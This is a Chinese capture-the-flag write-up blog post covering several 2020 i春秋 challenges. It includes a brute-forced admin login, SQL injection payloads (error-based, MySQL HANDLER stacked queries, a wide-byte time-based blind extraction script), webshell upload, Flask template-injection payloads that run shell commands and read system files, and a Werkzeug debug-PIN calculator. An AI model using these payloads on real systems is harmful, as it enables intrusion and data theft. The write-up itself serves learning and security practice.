i春秋新春战疫部分题目writeup

发布 : 2020-02-24

MISC-code_in_morse

这道题下载后是一个数据包,所以首先是需要分析数据包,打开先追踪一下HTTP流看看,往下一滑就看到了一堆摩斯电码

正好题目名字中说code in morse ,估计这段莫斯电码就是关键,放到解密网站上解一下,解出来是下面这些东西

这样一看,感觉是base64,用base64解码后是乱码,然后基本就是一直卡在这,经过各种尝试,最后还是想不到往下怎么做,这道题最后就只走到这里。下面是看了writeup后的复现。

前面的思路都对,到了解base那里出了错,下面来看一下base编码的特点

看一下特点大概就懂了,16 32 64 这三种编码在编码后的区别特别明显,就是编码后的字符,结合这些特点一看,上面得到的应该是base32编码,但是到网上的解码网站解码,又都显示解码失败

image-20200224200324242

之后看WriteUp里是用的python解码,解码后存成1.png,为什么存成png格式呢因为到这个网站( http://www.tomeko.net/online_tools/base32.php?lang=en )分析后发现了png的字样,就推测是png文件

image-20200224201223164

脚本是这样写的,非常简单

1
2
3
4
5
6
import base64
ba32 = ""
with open("base64.txt") as f:
b32=f.read()
with open("1.png","wb") as f:
f.write(base64.b32decode(ba32))

运行后得到一张这个

image-20200224201433846

这个应该是一个机票条码,之前做题遇见过,解码后得到一个网址,打开得到一张图片(怪不得第一天结束后群里一直在发这个图,原来是这的….)

1yPXJ1

然后开始常规流程,先看看文件信息,然后看到了这个

image-20200224201831811

想到了之前遇见过F5隐写,所以就比较敏感,直接先试试是不是,在F5隐写工具目录下执行如下命令,后得到一个output.txt,里面就是flag。

1
java Extract 1yPXJ1.jpg

简单的招聘系统

打开之后是一个简单的登录框,只有登录和注册功能,先看一看网页源码,没有提示,再扫一下目录,没有东西,再试一试注册,注册不了,后来才知道是能注册的,重新下发后能注册了,然后看了一下有这么两个页面感觉会有东西

image-20200224203517047

image-20200224203539875

说明存在admin用户,看他们赛后说好多测出XSS的,打了一通没打到cookie,这里我倒是没有测那个,我看到有admin用户我就去爆破了,用户名admin,密码6000弱密码,点上之后就去干别的了,过一会密码跑出来了,密码admin888,登录之后多了个这个

image-20200224204120681

感觉就是注入了,一看我感觉是二次注入,因为这里的查询之后会显示那个个人简介,然后就照着二次注入做的,后来看WriteUp,仿佛可以搜索框注入,还有可以登录框注入,这个题非预期有点多。

然后就是常规的报错注入语句,没有什么过滤,首先将注入语句写道admin的Profile更新,之后搜索admin的key。

payload

1
'or updatexml(2,concat(0x7e,(database())),0) or'

ezupload

这个题目过于简单,这里只简单描述,首先上传webshell,这里没什么拦截的地方,抓包把文件后缀改成php就行,之后连接一句话,在服务器根目录发现flag文件,但是没有读取权限,然后旁边还有个readflag文件,在模拟终端中运行一下这个文件获得flag,没想到有这么简单的题。

blacklist

发现框 直接试试注入,一看肯定是注入了,之后使用注入语句出现了提示

image-20200224205443302

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

搜了一下,这是一道修改后的题,在关键词检测的地方增加了setpreparealterrename等,也就是说网上能搜到的那些修改表和使用set的姿势都不能用,那肯定是由别的姿势,当时我没有研究出来,后来看WriteUp,又学到了一个新姿势。

首先是堆叠注入,然后使用mysql的handler进行处理。

假设有表flag。我们可以可以使用handler对表名进行操作

1
handler flag open as byc;

之后就可以读取表中数据

1
2
handler byc read first;
handler byc read next;

所以在这道题中,首先通过1';show tables;#,得到flag表FlagHere,之后使用下面的语句得到flag

1
1'; handler `FlagHere` open as `byc`;handler `byc` read next;#

image-20200224210247031

easysqli_copy

打开直接是源码,首先过滤把改过滤的都过了,但是没有过滤set、prepare、@ 这些,这些的用法在上一题有学到,这里看到$db->query("set names gbk");猜测是宽字节注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

首先传入id=1试试,发现没有回显,那可能是延时注入,尝试一下,发现是的

1
id=1%df' ;set @x=0x73656c65637420736c656570283129; prepare a from @x;execute a;

然后写个脚本跑,这里是参考了别人的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import re
import time

def StrToHex(s):
return ''.join([hex(ord(c)).replace('0x','') for c in s])
def HexToStr(s):
return ''.join([chr(i) for i in [int(b,16) for b in s.split(' ')]])

url = "http://7e7f4a07d96642d59f1817484c74044546bee734b65c47fb.changame.ichunqiu.com/?id=1%df' ;set @x=0x"

flag = ""

for j in range(1,100):
for i in range(32,128):
# sql = 'select if((ascii(substr(database(),'+ str(j) + ',1))>'+ str(i)+'),1,sleep(10))'
# sql = "select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
# sql = "select if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
sql = "select if((ascii(substr((select fllllll4g from table1),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
sql_hex = StrToHex(sql)
payload = url + sql_hex + ';prepare a from @x; execute a;'
try:
res = requests.get(payload,timeout=4)
except requests.exceptions.ReadTimeout:
flag += chr(i)
print(flag)
break

Flaskapp

这是第三天的题目,当时没有做,感觉不是很难,主要是有几个需要注意的地方。一看题目是flask,差不多能想到有个flask模板注入,flask以模板注入出名hhh,这里是我参考的文章 https://xz.aliyun.com/t/3679

主要是在解密部分,将base64加密后的参数进行解密可以达到模板注入的效果,具体的利用上面那个文章里写的很清楚了,我水平也有限,就不再赘述了,下面只说一下需要注意的点,就是python版本问题,其中用到的返回子类集合那里,各个版本的python返回的结果是不一样的,需要看清楚这道题用的pythin版本

其他就是常规的列出文件,读取文件了,下面是payload。

1
2
3
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}
# 这里的flag 被过滤了 用fal\g来绕过
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat this_is_the_fla\g.txt').read()}}

但这个题还有别的做法就是,当输入不正确的参数时,会进入debug模式,所以这是开启了debug模式的,在网站/console 输入PIN码可以进入python的shell,而且这个题的网页源码中也有PIN码这样的提示,所有还有个思路可能是算出PIN码然后进入shell,这里有一篇关于PIN码安全问题的文章 https://xz.aliyun.com/t/2553 ,主要是需要machine-id、Mac地址、路径、用户名。然后放入脚本中跑一下就出来PIN码了。

这里读取文件的方式是下面这些,其实也可以用上面那个执行命令

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %} 		# 获取machine-id
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address', 'r').read() }}{% endif %}{% endfor %} # 获取Mac地址 获取后转化成十进制
# 注意上面两个需要base64加密后再使用
# 通过输入错误的字符进行解密 获得路径
# 读取 /etc/passwd 获得用户名

之后就是将得到的数据放到这里面跑一下,算出PIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',#
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
'2485377957897', # mac
'a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532'# machine_id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

然后登录获得python的shell

1
2
3
import os
print(os.popen('ls /').read())
print(os.popen('cat this_is_the_flag.txt').read())

##

Reference

https://www.cnblogs.com/linguanh/p/11205256.html

https://www.jianshu.com/p/b0a130fe5c4d

https://xz.aliyun.com/t/3679

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/e9c4751e.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!